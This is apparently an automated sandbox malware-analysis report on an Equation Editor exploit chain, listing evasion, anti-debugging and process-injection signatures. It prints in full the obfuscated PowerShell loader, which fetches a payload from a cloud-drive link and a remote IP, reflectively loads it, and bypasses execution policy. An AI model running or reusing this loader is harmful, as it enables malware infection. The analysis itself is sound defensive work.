Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Binary or memory string: SBIEDLL.DLL

Allocates memory with a write watch (potentially for evading sandboxes)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 1D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 2390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior

Contains long sleeps (>= 3 min)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598502	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Found WSH timer for Javascript or VBS script (likely evasive script)

Source: C:\Windows\SysWOW64\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2454	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1167	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8724	Jump to behavior

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3720	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3980	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3952	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4000	Thread sleep count: 1167 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4000	Thread sleep count: 8724 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4052	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -598502s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4056	Thread sleep time: -1800000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe TID: 3212	Thread sleep time: -60000s >= -30000s	Jump to behavior

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 598502	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 600000	Jump to behavior

Source: AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: vmware
Source: AddInProcess32.exe, 00000009.00000002.626497727.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: VMwareVBoxESelect * from Win32_ComputerSystem

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 9_2_001D5310 CheckRemoteDebuggerPresent,

9_2_001D5310

Checks if the current process is being debugged

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Process queried: DebugPort

Jump to behavior

Contains functionality to read the PEB

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Code function: 2_2_035604D9 mov edx, dword ptr fs:[00000030h]

2_2_035604D9

Enables debug privileges

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process token adjusted: Debug	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 3984, type: MEMORYSTR

Bypasses PowerShell execution policy

Source: C:\Windows\SysWOW64\wscript.exe

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000 value starts with: 4D5A

Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 400000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 402000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 43E000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 440000	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe base: 7EFDE008	Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nightdatingloverxxx.vbs"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdrRnZpbWFnZVVybCcrJyA9ICcrJ2d3MGh0dHBzOi8vZHJpdmUuZ29vZ2xlLicrJ2NvJysnbS91Yz9leHAnKydvcnQ9ZG93bmxvYWQmaWQ9MUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRCcrJ3ZVaEJZd3VyIGd3MDtrRnYnKyd3ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2wnKydpZW50O2tGJysndmltYScrJ2dlQnl0ZXMgPSAnKydrRnZ3ZWJDbGllbnQuJysnRG93bmxvYWREYXRhKGtGdmltYWdlVXJsKTtrRnZpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRScrJ25jb2RpbmddOjpVVEY4LkdldFN0cmluJysnZyhrRnZpbWFnZUJ5dGVzKTtrRnZzdGFydEZsYWcgPSBndzA8PEJBU0U2NF9TVEFSVD4+Z3cwO2tGdmVuZCcrJ0ZsYWcgPSBndzA8PEJBJysnU0U2NF9FTkQ+Pmd3MDtrRnZzdGFydEluZGUnKyd4ID0ga0Z2aW1hZ2VUZXh0LkluZGV4T2Yoa0Z2c3RhcnRGbGFnKTtrRicrJ3ZlbmRJbmRleCA9IGtGdmltYWdlVGV4dC5JJysnbmRleE9mKGtGdmVuZEZsJysnYWcpO2tGdnN0YXJ0SW5kZXggLWdlIDAgLScrJ2EnKyduZCBrRnZlbmRJbmRleCAnKyctZ3Qga0Z2c3RhcnRJbmRleDtrRnZzdGFydEluZGV4ICs9IGtGdnN0YXJ0RmxhZy5MZW5ndGg7a0Z2YmFzZTY0TGVuZ3RoID0ga0Z2ZW5kSW5kZXggLSBrRnZzdGFydEluZGV4O2tGdmJhc2U2NENvbW1hbmQgPSBrRnZpbWFnZVRleHQuU3Vic3RyaW5nKGtGdnN0YXJ0SW5kJysnZXgsIGtGdmJhc2U2NExlbmd0aCk7a0Z2YmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoa0Z2YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpJysnIHc1JysnYyBGb3JFYWNoLU9iamVjdCB7IGtGdl8gfSlbLTEuLi0oa0Z2YmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtrRnZjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tJysnQmFzZTY0U3RyaW5nKGtGdmJhc2U2NFJldmVyc2UnKydkKTtrRnZsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZScrJ20uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoa0Z2Y29tbWFuZEJ5dGVzKTtrRnZ2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKGd3MFZBSWd3MCk7a0Z2dmFpTWV0aG9kLkludm9rZShrRnYnKydudWxsLCBAKGd3MHR4dC5hYWFhYWJld21hZGFtLzMxLjEnKyczLjI3MS43MCcrJzEvLzpwdHRoJysnZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZScrJ3NhdGl2YWRvZ3cwLCBndzBkZXNhdGl2YWRvZ3cwLCBndzBBZGRJblByb2Nlc3MzMmd3MCwgZ3cwZGVzYXRpdmFkb2d3MCwgZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvJysnZ3cwLGd3MGRlc2F0aXZhJysnZG9ndzAsZ3cwZGVzYXRpdmFkb2d3MCxndzBkZXNhdGl2YWRvZ3cwLGd3MGRlc2F0aXZhZG9ndzAsZ3cwMWd3MCxndzBkZXNhdGl2YWRvZ3cwKScrJyk7JykuUmVQbGFDZSgndzVjJyxbU3RySW5HXVtDaEFSXTEyNCkuUmVQbGFDZSgna0Z2JywnJCcpLlJlUGxhQ2UoKFtDaEFSXTEwMytbQ2hBUl0xMTkrW0NoQVJdNDgpLFtTdHJJbkddW0NoQVJdMzkpIHwgJiAoKHZhcklBQkxFICcqTWRyKicpLk5hbWVbMywxMSwyXS1KT2luJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('kFvimageUrl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1AIVgJJJv1F6vS4sUOybnH-sD'+'vUhBYwur gw0;kFv'+'webClient = New-Object System.Net.WebCl'+'ient;kF'+'vima'+'geBytes = '+'kFvwebClient.'+'DownloadData(kFvimageUrl);kFvimageText = [System.Text.E'+'ncoding]::UTF8.GetStrin'+'g(kFvimageBytes);kFvstartFlag = gw0<<BASE64_START>>gw0;kFvend'+'Flag = gw0<<BA'+'SE64_END>>gw0;kFvstartInde'+'x = kFvimageText.IndexOf(kFvstartFlag);kF'+'vendIndex = kFvimageText.I'+'ndexOf(kFvendFl'+'ag);kFvstartIndex -ge 0 -'+'a'+'nd kFvendIndex '+'-gt kFvstartIndex;kFvstartIndex += kFvstartFlag.Length;kFvbase64Length = kFvendIndex - kFvstartIndex;kFvbase64Command = kFvimageText.Substring(kFvstartInd'+'ex, kFvbase64Length);kFvbase64Reversed = -join (kFvbase64Command.ToCharArray()'+' w5'+'c ForEach-Object { kFv_ })[-1..-(kFvbase64Command.Length)];kFvcommandBytes = [System.Convert]::From'+'Base64String(kFvbase64Reverse'+'d);kFvloadedAssembly = [Syste'+'m.Reflection.Assembly]::Load(kFvcommandBytes);kFvvaiMethod = [dnlib.IO.Home].GetMethod(gw0VAIgw0);kFvvaiMethod.Invoke(kFv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0AddInProcess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').RePlaCe('w5c',[StrInG][ChAR]124).RePlaCe('kFv','$').RePlaCe(([ChAR]103+[ChAR]119+[ChAR]48),[StrInG][ChAR]39) \| & ((varIABLE 'Mdr').Name[3,11,2]-JOin'')"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdrrnzpbwfnzvvybccrjya9iccrj2d3mgh0dhbzoi8vzhjpdmuuz29vz2xllicrj2nvjysnbs91yz9lehankydvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrccrj3zvaejzd3vyigd3mdtrrnynkyd3zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2wnkydpzw50o2tgjysndmltyscrj2dlqnl0zxmgpsankydrrnz3zwjdbgllbnqujysnrg93bmxvywreyxrhkgtgdmltywdlvxjskttrrnzpbwfnzvrlehqgpsbbu3lzdgvtllrlehqurscrj25jb2rpbmddojpvvey4lkdldfn0cmlujysnzyhrrnzpbwfnzuj5dgvzkttrrnzzdgfydezsywcgpsbndza8pejbu0u2nf9tvefsvd4+z3cwo2tgdmvuzccrj0zsywcgpsbndza8pejbjysnu0u2nf9ftkq+pmd3mdtrrnzzdgfydeluzgunkyd4id0ga0z2aw1hz2vuzxh0lkluzgv4t2yoa0z2c3rhcnrgbgfnkttrricrj3zlbmrjbmrleca9igtgdmltywdlvgv4dc5jjysnbmrlee9mkgtgdmvuzezsjysnywcpo2tgdnn0yxj0sw5kzxgglwdlidaglscrj2enkyduzcbrrnzlbmrjbmrlecankyctz3qga0z2c3rhcnrjbmrledtrrnzzdgfydeluzgv4ics9igtgdnn0yxj0rmxhzy5mzw5ndgg7a0z2ymfzzty0tgvuz3roid0ga0z2zw5ksw5kzxgglsbrrnzzdgfydeluzgv4o2tgdmjhc2u2nenvbw1hbmqgpsbrrnzpbwfnzvrlehquu3vic3ryaw5nkgtgdnn0yxj0sw5kjysnzxgsigtgdmjhc2u2nexlbmd0ack7a0z2ymfzzty0umv2zxjzzwqgpsatam9pbiaoa0z2ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpjysnihc1jysnyybgb3jfywnolu9iamvjdcb7igtgdl8gfslblteuli0oa0z2ymfzzty0q29tbwfuzc5mzw5ndggpxttrrnzjb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tjysnqmfzzty0u3ryaw5nkgtgdmjhc2u2nfjldmvyc2unkydkkttrrnzsb2fkzwrbc3nlbwjsesa9ifttexn0zscrj20uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoa0z2y29tbwfuzej5dgvzkttrrnz2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkgd3mfzbswd3mck7a0z2dmfptwv0ag9klkludm9rzshrrnynkydudwxslcbakgd3mhr4dc5hywfhywjld21hzgftlzmxljenkyczlji3ms43mccrjzevlzpwdhrojysnz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzxnhdgl2ywrvz3cwlcbndzbbzgrjblbyb2nlc3mzmmd3mcwgz3cwzgvzyxrpdmfkb2d3mcwgz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvjysnz3cwlgd3mgrlc2f0axzhjysnzg9ndzasz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvz3cwlgd3mgrlc2f0axzhzg9ndzasz3cwmwd3mcxndzbkzxnhdgl2ywrvz3cwkscrjyk7jykuumvqbgfdzsgndzvjjyxbu3rysw5hxvtdaefsxteynckuumvqbgfdzsgna0z2jywnjccplljlugxhq2uokftdaefsxtewmytbq2hbul0xmtkrw0noqvjdndgplfttdhjjbkddw0noqvjdmzkpihwgjiaokhzhcklbqkxficcqtwrykicplk5hbwvbmywxmswyxs1kt2lujycp';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "('kfvimageurl'+' = '+'gw0https://drive.google.'+'co'+'m/uc?exp'+'ort=download&id=1aivgjjjv1f6vs4suoybnh-sd'+'vuhbywur gw0;kfv'+'webclient = new-object system.net.webcl'+'ient;kf'+'vima'+'gebytes = '+'kfvwebclient.'+'downloaddata(kfvimageurl);kfvimagetext = [system.text.e'+'ncoding]::utf8.getstrin'+'g(kfvimagebytes);kfvstartflag = gw0<<base64_start>>gw0;kfvend'+'flag = gw0<<ba'+'se64_end>>gw0;kfvstartinde'+'x = kfvimagetext.indexof(kfvstartflag);kf'+'vendindex = kfvimagetext.i'+'ndexof(kfvendfl'+'ag);kfvstartindex -ge 0 -'+'a'+'nd kfvendindex '+'-gt kfvstartindex;kfvstartindex += kfvstartflag.length;kfvbase64length = kfvendindex - kfvstartindex;kfvbase64command = kfvimagetext.substring(kfvstartind'+'ex, kfvbase64length);kfvbase64reversed = -join (kfvbase64command.tochararray()'+' w5'+'c foreach-object { kfv_ })[-1..-(kfvbase64command.length)];kfvcommandbytes = [system.convert]::from'+'base64string(kfvbase64reverse'+'d);kfvloadedassembly = [syste'+'m.reflection.assembly]::load(kfvcommandbytes);kfvvaimethod = [dnlib.io.home].getmethod(gw0vaigw0);kfvvaimethod.invoke(kfv'+'null, @(gw0txt.aaaaabewmadam/31.1'+'3.271.70'+'1//:ptth'+'gw0, gw0de'+'sativadogw0, gw0de'+'sativadogw0, gw0desativadogw0, gw0addinprocess32gw0, gw0desativadogw0, gw0desativadogw0,gw0desativado'+'gw0,gw0desativa'+'dogw0,gw0desativadogw0,gw0desativadogw0,gw0desativadogw0,gw01gw0,gw0desativadogw0)'+');').replace('w5c',[string][char]124).replace('kfv','$').replace(([char]103+[char]119+[char]48),[string][char]39) \| & ((variable 'mdr').name[3,11,2]-join'')"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcdrrnzpbwfnzvvybccrjya9iccrj2d3mgh0dhbzoi8vzhjpdmuuz29vz2xllicrj2nvjysnbs91yz9lehankydvcnq9zg93bmxvywqmawq9mufjvmdkskp2muy2dlm0c1vpewjusc1zrccrj3zvaejzd3vyigd3mdtrrnynkyd3zwjdbgllbnqgpsbozxctt2jqzwn0ifn5c3rlbs5ozxquv2viq2wnkydpzw50o2tgjysndmltyscrj2dlqnl0zxmgpsankydrrnz3zwjdbgllbnqujysnrg93bmxvywreyxrhkgtgdmltywdlvxjskttrrnzpbwfnzvrlehqgpsbbu3lzdgvtllrlehqurscrj25jb2rpbmddojpvvey4lkdldfn0cmlujysnzyhrrnzpbwfnzuj5dgvzkttrrnzzdgfydezsywcgpsbndza8pejbu0u2nf9tvefsvd4+z3cwo2tgdmvuzccrj0zsywcgpsbndza8pejbjysnu0u2nf9ftkq+pmd3mdtrrnzzdgfydeluzgunkyd4id0ga0z2aw1hz2vuzxh0lkluzgv4t2yoa0z2c3rhcnrgbgfnkttrricrj3zlbmrjbmrleca9igtgdmltywdlvgv4dc5jjysnbmrlee9mkgtgdmvuzezsjysnywcpo2tgdnn0yxj0sw5kzxgglwdlidaglscrj2enkyduzcbrrnzlbmrjbmrlecankyctz3qga0z2c3rhcnrjbmrledtrrnzzdgfydeluzgv4ics9igtgdnn0yxj0rmxhzy5mzw5ndgg7a0z2ymfzzty0tgvuz3roid0ga0z2zw5ksw5kzxgglsbrrnzzdgfydeluzgv4o2tgdmjhc2u2nenvbw1hbmqgpsbrrnzpbwfnzvrlehquu3vic3ryaw5nkgtgdnn0yxj0sw5kjysnzxgsigtgdmjhc2u2nexlbmd0ack7a0z2ymfzzty0umv2zxjzzwqgpsatam9pbiaoa0z2ymfzzty0q29tbwfuzc5ub0noyxjbcnjhesgpjysnihc1jysnyybgb3jfywnolu9iamvjdcb7igtgdl8gfslblteuli0oa0z2ymfzzty0q29tbwfuzc5mzw5ndggpxttrrnzjb21tyw5kqnl0zxmgpsbbu3lzdgvtlknvbnzlcnrdojpgcm9tjysnqmfzzty0u3ryaw5nkgtgdmjhc2u2nfjldmvyc2unkydkkttrrnzsb2fkzwrbc3nlbwjsesa9ifttexn0zscrj20uumvmbgvjdglvbi5bc3nlbwjsev06okxvywqoa0z2y29tbwfuzej5dgvzkttrrnz2ywlnzxrob2qgpsbbzg5sawiusu8usg9tzv0ur2v0twv0ag9kkgd3mfzbswd3mck7a0z2dmfptwv0ag9klkludm9rzshrrnynkydudwxslcbakgd3mhr4dc5hywfhywjld21hzgftlzmxljenkyczlji3ms43mccrjzevlzpwdhrojysnz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzscrj3nhdgl2ywrvz3cwlcbndzbkzxnhdgl2ywrvz3cwlcbndzbbzgrjblbyb2nlc3mzmmd3mcwgz3cwzgvzyxrpdmfkb2d3mcwgz3cwzgvzyxrpdmfkb2d3mcxndzbkzxnhdgl2ywrvj